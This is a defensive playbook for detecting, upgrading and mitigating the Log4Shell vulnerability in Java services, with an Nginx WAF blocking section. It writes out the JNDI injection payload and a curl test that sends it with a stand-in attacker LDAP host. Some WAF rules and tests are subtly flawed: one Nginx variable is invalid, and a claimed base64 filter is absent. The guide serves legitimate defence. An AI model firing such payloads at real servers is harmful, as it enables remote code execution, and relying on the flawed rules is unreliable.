← News
/PLAYBOOK · 2026-08-26

Log4j2 Vulnerability Defense in Practice: Log4Shell Detection and Remediation Guide

Defense for Log4Shell (CVE-2021-44228) and other critical Log4j2 bugs: dependency version detection, upgrade, JVM-flag mitigation, and Nginx WAF intercept. For Java apps and middleware.

Scope

This guide applies to all Java apps that log with Log4j2, including Spring Boot services, Tomcat apps, Kafka, Elasticsearch, and other common middleware. If application logs may record user-controlled input (User-Agent, request headers, form fields), Log4Shell (CVE-2021-44228) is in play. If servers still carry Log4j2 built before December 2021, or ops has not finished vuln inventory, follow the steps below for detect, fix, and intercept.

Prerequisites

How It Works

Log4j2 ships JNDI Lookup. Log templates can resolve external resources via `${jndi:ldap://host/path}`. Attacker plants a malicious payload in a logged field (e.g. User-Agent). On log, Log4j2 contacts attacker-controlled LDAP/RMI, downloads a malicious class, and executes it — RCE. Affected versions: `2.0 ~ 2.14.1` and some `2.15.0` (bypass). Official fix: `2.17.1+`. Defense is three layers: upgrade the dependency to kill the bug, disable lookup to close the parser, WAF intercept of attack signatures as backstop.

Procedure

Step 1: Detect Affected Components

Locate all Log4j2 jars on the server:

find /opt /usr/local /home -name "log4j-core-*.jar" 2>/dev/null
find /opt /usr/local /home -name "log4j-api-*.jar" 2>/dev/null

Also check Maven/Gradle dependency declarations:

grep -rn "log4j" pom.xml build.gradle 2>/dev/null
# Maven projects: inspect the dependency tree and confirm log4j-core version and origin
mvn dependency:tree -Dincludes=org.apache.logging.log4j

Step 2: Upgrade to a Safe Version

Upgrade `log4j-core` to 2.17.1 or later (prefer latest 2.x):

    org.apache.logging.log4j
    log4j-core
    2.17.2

Spring Boot projects should let spring-boot-starter-log4j2 manage the version. Avoid mixed jar versions.

Step 3: Mitigations When You Cannot Upgrade Immediately

Disable lookup via startup flags before upgrade. Cuts the JNDI exploit chain:

# Method 1: JVM startup flag (effective only on Log4j2 2.10+)
java -Dlog4j2.formatMsgNoLookups=true -jar app.jar

# Method 2: environment variable
export LOG4J_FORMAT_MSG_NO_LOOKUPS=true

# Method 3: disable remote codebase on the JDK side (enabled by default on JDK 8u191+ / 11.0.1+)
java -Dcom.sun.jndi.ldap.object.trustURLCodebase=false -jar app.jar

Note: `-Dlog4j2.formatMsgNoLookups=true` is default on 2.15.0+. Treat it as a temporary mitigation for older versions. Still upgrade.

Step 4: Nginx WAF Intercept of Attack Signatures

In Nginx server or location, intercept `${jndi:` in requests:

# Intercept JNDI injection signatures in URI and User-Agent
if ($request_uri ~* "\$\{jndi:") { return 403; }
if ($http_user_agent ~* "\$\{jndi:") { return 403; }
if ($arg_* ~* "\$\{jndi:") { return 403; }

# Stricter: also intercept base64 and compressed variants (better with ModSecurity OWASP CRS rules)
location / {
    # Reject requests that contain ${ and the jndi keyword
    if ($request_uri ~* "\$\{[^}]*jndi[^}]*\}") { return 403; }
}

Reload: `nginx -t && nginx -s reload`. In production, pair with vendor Log4Shell WAF rules to cover encoding bypass variants.

Verification

# 1. Verify lookup is disabled: logs should print the ${jndi:...} string as-is instead of making an LDAP request
echo '${jndi:ldap://127.0.0.1:1389/test}' > /tmp/test.log

# 2. Verify WAF intercept: requests with attack signatures should return 403
curl -s -o /dev/null -w "%{http_code}\n" \
  -H "User-Agent: \${jndi:ldap://evil.example.com/a}" \
  https://your-domain.com/

# 3. Verify no outbound connections: check application logs for jndi lookup/parse exception records
tail -f /var/log/app/app.log | grep -i "jndi\|lookup"

FAQ

Q1: Scanner still flags the vuln after upgrade. What then?

Multiple Log4j2 versions coexist (transitive deps or shade). Use `mvn dependency:tree` or `gradle dependencies` to find every source. Force the version via dependencyManagement for third-party old copies. Check the Fat Jar for an embedded old `log4j-core`.

Q2: WAF intercept only, no dependency upgrade?

No. Attackers keep researching encoding, case, Unicode bypasses. WAF rules lag. Upgrade is the only root fix. WAF is depth-in-defense backstop only.

Q3: Is Log4j 1.x affected by Log4Shell?

Log4j 1.x does not use JNDI Lookup. Not affected by CVE-2021-44228. It has other deserialization bugs and is unmaintained. Migrate to Log4j 2.17.1+ or SLF4J + Logback.

Summary

Log4Shell-class JNDI injection defense: upgrade dependency + disable lookup + WAF intercept. Build a Java dependency version inventory. Put Log4j2 and other core components on the supply-chain security list. Scan versions on a schedule so new disclosures get fixed in the shortest window.